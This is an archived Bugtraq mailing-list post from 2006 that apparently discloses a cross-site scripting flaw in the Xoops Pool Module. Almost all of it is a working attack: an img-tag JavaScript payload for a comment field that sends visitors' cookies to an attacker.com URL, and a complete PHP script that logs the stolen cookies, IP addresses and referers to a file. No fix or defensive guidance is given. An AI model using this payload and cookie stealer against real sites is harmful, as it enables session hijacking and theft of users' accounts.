[42059] in bugtraq

home help back first fref pref prev next nref lref last post

Xoops Pool Module IMG Tag Cross Site Scripting

daemon@ATHENA.MIT.EDU (night_warrior771@hotmail.com)
Mon Jan 9 20:19:17 2006

Date: 7 Jan 2006 10:08:21 -0000
Message-ID: <20060107100821.1999.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: night_warrior771@hotmail.com
To: bugtraq@securityfocus.com

##Night_Warrior<Kurdihs Hacker>
##night_warrior771[at]hotmail.com
##Xoops Pool Module IMG Tag Cross Site Scripting
##Contact :night_warrior771[at]hotmail.com
Post Coment this Code:
<img src="javascript:window.navigate('http://attacker.com/cookies.php?c='+document.cookie);"

cookies.php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('steal.php', 'a');
fwrite($fp, '
Cookie: '.$cookie.'
IP: ' .$ip. '
Date and Time: ' .$date. '
Referer: '.$referer.' ');
fclose($fp);
?>

home help back first fref pref prev next nref lref last post